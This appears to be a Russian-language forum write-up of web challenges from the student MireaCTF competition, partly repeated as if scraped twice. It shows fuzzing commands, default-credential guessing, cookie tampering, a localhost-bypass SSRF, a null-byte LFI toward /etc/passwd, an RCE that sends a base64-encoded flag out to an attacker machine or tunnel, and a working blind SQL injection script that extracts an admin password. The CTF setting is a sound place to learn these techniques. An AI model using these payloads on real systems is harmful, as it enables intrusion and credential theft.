Всех приветствую! Решил написать короткий райтап по MireaCTF - это соревнования только для студентов. Пишу райтап только по веб таскам.
1 ТАСК
Я решал этот таск хитрым способом. Конечно, стоило бы сначала пофаззить сайт без авторизации, а потом указав куки в фаззер снова пофаззить, чтобы найти скрытые директории, возможно какие-то креды/конфиг файлы и т.д. Мне было настолько лень, что я начал ручками перебирать стандартные креды ака admin:admin, 1:1, admin:123, 123:123. В итоге креды 1:1 подошли и меня перекинуло на главную страничку магазина.
Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде Мой товарищ с WAPT написал неплохую статью на тему
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:
dirb нашел /.git/HEAD (CODE:200|SIZE:22)
feroxbuster не нашел .git с мидл словаря, т.к
Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.
Так что в первую очередь используем common словарик, чтобы начать "точку" входа, а далее перекинуть все линки в feroxbuster, т.к там есть режим parallel сканирования. Сразу скажу, что я не профессионал и вы можете меня поправлять, я лишь рассказываю про решение свой команды.
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в
Переходим в примеры использования и находим
Вот пример нам дали. Теперь берем наши линки и создаем команду со словариком. Ток линки надо от мусора очистить:
У меня после очистки осталось 3 линка. Берем их и сохраняем.
--auto-bail = Automatically stop scanning when an excessive amount of errors are encountered
"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК
Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.
после замены кука с md5(false) на md5(true) нас впустили
В этот раз включаем перехватчик и следуем(forward)
Видим параметр URL.
Кроме гифки больше ничего нет. Подставляем в url
Если что вместо
3 ТАСК
Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.
Попробуем загуглить lfi payload и подставив
Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.
Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:
Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.
4 ТАСК
Этот таск практически никто не решил. Потому что у студентов не хватило деняк на белый адрес)
RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
Или Burp Collaborator
5 ТАСК
Регистрируем учетку и входим, далее перехватываем страничку. И видим куки:
Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:
Вопрос к экспертам. Как подружить данную скулю с sqlmap. Почему sqlmap -r file.txt (* в cookie) --technique=B --dbms=MySql --prefix="'" (пробовал с и без) --level=5 --risk=3.
6 ТАСК
Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое
/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.
Жалко. Тогда попробуем глянуть конфиг. файлы.
/img=/var/images
Читаем флаг
/img_secret/flag.txt
Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.
1 ТАСК
Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде Мой товарищ с WAPT написал неплохую статью на тему
Ссылка скрыта от гостей
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:
Bash:
dirb https://task.com >> ~/Desktop/file.txt #Первоначальный этап
feroxbuster -u https://task.com -w /ПУТЬ/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -d 2 --force-recursion -x txt,php,html
feroxbuster не нашел .git с мидл словаря, т.к
Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.
Bash:
/usr/share/dirb/wordlists/common.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в
Ссылка скрыта от гостей
feroxbusterПереходим в примеры использования и находим
Ссылка скрыта от гостей
Bash:
cat large-target-list | ./feroxbuster --stdin --parallel 10 --extract-links --auto-bail
У меня после очистки осталось 3 линка. Берем их и сохраняем.
Bash:
cat file.txt | feroxbuster --stdin --parallel 3 --extract-links --auto-bail
Ссылка скрыта от гостей
полученный линк. Там и хранится промокод:"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК
Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.
после замены кука с md5(false) на md5(true) нас впустили
В этот раз включаем перехватчик и следуем(forward)
Видим параметр URL.
Кроме гифки больше ничего нет. Подставляем в url
Ссылка скрыта от гостей
и забираем флаг. Вопрос к профи, почему нам отдался флаг? В чем тут идея?Если что вместо
Ссылка скрыта от гостей
мы можем использовать
Ссылка скрыта от гостей
, http://127.0.0.1,http://127.1 и т.д. Вот список обхода локалхоста:wordlists/localhost-bypass.txt at main · a6thmfsin/wordlists
My personal wordlists from WebApp Hacking and Bug Bounty. - a6thmfsin/wordlists
github.com
Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.
Попробуем загуглить lfi payload и подставив
Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.
Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:
Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.
4 ТАСК
RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
Ссылка скрыта от гостей
`base64 flag.txt | tr -d "\n"`Или Burp Collaborator
5 ТАСК
Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:
Python:
from requests import Session
from bs4 import BeautifulSoup
import requests
import string
host = 'http://localhost:8000'
wordlist = string.ascii_lowercase + string.digits
def brute():
password = ''
for i in range(1, 45):
for symbol in wordlist:
req = f"ergerger' OR SUBSTRING((SELECT password FROM users_info WHERE username = 'admin'), {i}, 1) = '{symbol}"
r = requests.get(host, cookies={"username": req})
if 'Welcome' in r.text:
print(f"{symbol} char is found")
password += symbol
return password
if __name__ == '__main__':
print(brute())
6 ТАСК
Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое
/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.
Жалко. Тогда попробуем глянуть конфиг. файлы.
/img=/var/images
Читаем флаг
/img_secret/flag.txt
Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.
Вложения
Последнее редактирование: